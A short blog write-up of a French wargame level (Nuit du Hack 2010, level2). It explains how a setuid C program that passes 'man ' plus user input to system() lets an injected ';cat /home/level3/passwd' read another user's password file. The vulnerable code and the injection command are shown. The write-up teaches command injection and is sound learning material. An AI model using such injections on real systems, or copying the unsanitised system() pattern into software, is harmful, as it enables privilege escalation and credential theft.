This article describes the exploitation of a bad implementation of the system() function in a C program, through the resolution of the french "Nuit du Hack 2010" wargame level2 test.
solution
$ ssh -2 level2:level2@wargame.nuitduhack.com
level2@srv-public:~$ ./level2 "ls;cat /home/level3/passwd"
mot de passe
howto
list the current directory. ./level2 will be executed with level3 UID. We need to use it to print ./level3/passwd.
level2@srv-public:~$ ls -all
total 36
dr-xr-x--- 2 level2 level2 4096 1 janv. 2008 .
drwxr-x--x 24 root root 4096 18 juin 18:19 ..
lrwxrwxrwx 1 root root 9 28 mai 16:08 .bash_history -> /dev/null
-rw-r--r-- 1 root root 220 26 mai 13:33 .bash_logout
-rw-r--r-- 1 root root 3116 26 mai 13:33 .bashrc
-r-sr-x--- 1 level3 level2 5194 18 juin 14:59 level2
-rw------- 1 level2 level2 336 18 juin 14:59 level2.c
-r--r----- 1 level2 level2 7 1 janv. 2008 passwd
-rw-r--r-- 1 root root 675 26 mai 13:33 .profile
Here is level2.c
level2@srv-public:~$ cat level2.c
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
int main(int argc, char *argv[])
{
char *buffer = malloc(sizeof(char)*(strlen("man ")+strlen(argv[1])+1));
if(argc<2 || strlen(argv[1])>50) {
printf("Manpage \n");
exit(0);
}
strcpy(buffer, "man ");
strcat(buffer, argv[1]);
system(buffer);
return 0;
}
Here is the description of system():
SYNOPSIS
#include
int system(const char *command);
DESCRIPTION
The functionality described on this reference page is aligned with the ISO C standard. Any conflict between the requirements described here and the ISO C standard is unintentional. This volume of IEEE Std 1003.1-2001 defers to the ISO C standard.
If command is a null pointer, the system() function shall determine whether the host environment has a command processor. If command is not a null pointer, the system() function shall pass the string pointed to by command to that command processor to be executed in an implementation-defined manner; this might then cause the program calling system() to behave in a non-conforming manner or to terminate.
The environment of the executed command shall be as if a child process were created using fork(), and the child process invoked the sh utility using execl() as follows:
execl(, "sh", "-c", command, (char *)0);
where is an unspecified pathname for the sh utility.
The system() function shall ignore the SIGINT and SIGQUIT signals, and shall block the SIGCHLD signal, while waiting for the command to terminate. If this might cause the application to miss a signal that would have killed it, then the application should examine the return value from system() and take whatever action is appropriate to the application if the command terminated due to receipt of a signal.
The system() function shall not affect the termination status of any child of the calling processes other than the process or processes it itself creates.
The system() function shall not return until the child process has terminated.
Indeed, the function system() executes the command "sh". "sh" can launch a shell script. So, we can use more than one command. For example: man ls; cat /home/level3/passwd" (with ; as separator).
references
Linux access rules - http://www.commentcamarche.net/faq/3603-securite-droits-d-acces-gnu-linux
function system() - http://www.opengroup.org/onlinepubs/000095399/functions/system.html
Aucun commentaire:
Enregistrer un commentaire